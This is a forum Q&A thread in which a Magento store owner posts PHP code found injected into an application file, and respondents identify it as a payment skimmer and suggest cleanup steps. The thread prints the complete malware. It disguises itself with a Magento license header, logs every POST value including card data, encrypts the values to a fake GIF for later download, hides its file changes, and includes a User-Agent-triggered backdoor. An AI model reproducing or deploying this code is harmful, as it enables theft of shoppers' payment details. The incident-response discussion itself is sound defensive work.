4

Some days back I found this code in one of my application file. I am using git in my server so I can found modified file easily. I checked it but I am not getting what this piece of code does exactly.

Can anybody explain me? Is it hacked or something? Thanks

<?PHP /***
Magento** NOTICE OF LICENSE** This source file is subject to the Open Software License (OSL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/osl-3.0.php**/
$y0='./skin/adminhtml/default/default/images/accordion_open_bg.gif';
$m1='1415335836';
$k2='pcce7c7f';
$k3="-----BEGIN PUBLIC KEY-----\nMIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgFiKhzEGVUxLdkdAPmTVH74QwWBk\n0cDppNX3n0fmVZyBPcYZ5YIbEeSLIOCXKb5xT/ZrwYyk13jMIho9WPlLRJdxT2Rj\nbcMvXszvWBwh1lCovrl6/kulIq5ZcnDFdlcKzW2PR/19+gkKhRGk1YUXMLgw6EFj\nj2c1LJoSpnzk8WRFAgMBAAE=\n-----END PUBLIC KEY-----";
if(@$_SERVER['HTTP_USER_AGENT']=='Visbot/2.0 (+http://www.visvo.com/en/webmasters.jsp;
    bot@visvo.com)'){if(isset($_GET[$k2])){$m1=file_exists($y0)?@filemtime($y0):$m1;
    @file_put_contents($y0,'');
@touch($y0,$m1,$m1);
echo 'clean ok';
}else echo 'Pong';
exit;
}if(!empty($_SERVER['HTTP_CLIENT_IP'])){$i4=$_SERVER['HTTP_CLIENT_IP'];
}elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$i4=$_SERVER['HTTP_X_FORWARDED_FOR'];
}else{$i4=@$_SERVER['REMOTE_ADDR'];
}if(isset($_POST)&&sizeof($_POST)){$a5='';
foreach($_POST as $h6=>$n7){if(is_array($n7)){foreach($n7 as $f8=>$l9){if(is_array($l9)){foreach($l9 as $l10=>$v11){if(is_array($v11)){;
}else{$a5.=':'.$h6.'['.$f8.']['.$l10.']='.$v11;
}}}else{$a5.=':'.$h6.'['.$f8.']='.$l9;
}}}else{$a5.=':'.$h6.'='.$n7;
}}$a5=$i4.$a5;
}else{$a5=null;
}if($a5){$t12=false;
    if(function_exists('openssl_get_publickey')&&function_exists('openssl_public_encrypt')&&function_exists('openssl_encrypt')){$t12=true;
}elseif(function_exists('dl')){$n13=strtolower(substr(php_uname(),0,3));
    $d14='php_openssl.'.($n13=='win'?'dll':'so');
@dl($d14);
if(function_exists('openssl_get_publickey')&&function_exists('openssl_public_encrypt')&&function_exists('openssl_encrypt')){$t12=true;
}}if($t12){$t15=@openssl_get_publickey($k3);
    $q16=128;
$t17='';
$h18=md5(md5(microtime()).rand());
$e19=$h18;
while($e19){$f20=substr($e19,0,$q16);
    $e19=substr($e19,$q16);
@openssl_public_encrypt($f20,$h21,$t15);
$t17.=$h21;
}$t22=@openssl_encrypt($a5,'aes128',$h18);
@openssl_free_key($t15);
$a5=$t17.':::SEP:::'.$t22;
}$m1=file_exists($y0)?@filemtime($y0):$m1;
@file_put_contents($y0,'JPEG-1.1'.base64_encode($a5),FILE_APPEND);
@touch($y0,$m1,$m1);
}?>
  • 5
    looks like a hack to me. – Marius Oct 19 '15 at 12:37
  • Yes, definitely looks like a hack. Unfortunately, Magento is susceptible to hacks, did you install the latest safety patches? – Niels Oct 19 '15 at 12:41
  • @user5972, Yes I install all the patches – Charlie Oct 20 '15 at 4:21
  • 1
    Look for an include line in your Mage.php file, this is an image hack. It looks for outgoing POST sessions, grabs the info and shoves it into a fake jpeg somewhere in your skin or media folder for easy hacker download. Payment gateway session stealer. – Fiasco Labs Oct 20 '15 at 16:00
3

This is a modified or "Hacked" file and will need to be replaced with the original. I would recommend turning off your store and NOW.

I would then recommend doing a diff between your original code and a known good version. You can start with your core of 1.8 but you may also have hacks in extra files.

diff -wrql --exclude='media' --exclude='var' /your/site/html/ /last/know/good/site/html/

This will tell you at least if the core files are hacked. (Which you can see they are) I would also recommend using source control so you can see modifications to files. If you use GIT you will see when a file has been modified on the server by doing a git status.

1

This hack is encrypting all POST values (Credit Card information during checkout included) to a string in a fake image file and is open to the world but would and has likely been transmitted. Not only do you need to revert to a good version of the code base, you need to identify the original entry vector and remove it. (how did it get there to begin with).

0
@file_put_contents($y0,'JPEG-1.1'.base64_encode($a5),FILE_APPEND);
@touch($y0,$m1,$m1);

The last two lines should clearly warn you, if you can delete this file nothing happend,p lease take a backup of files, search more and delete files. Change server password and file permission as well.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.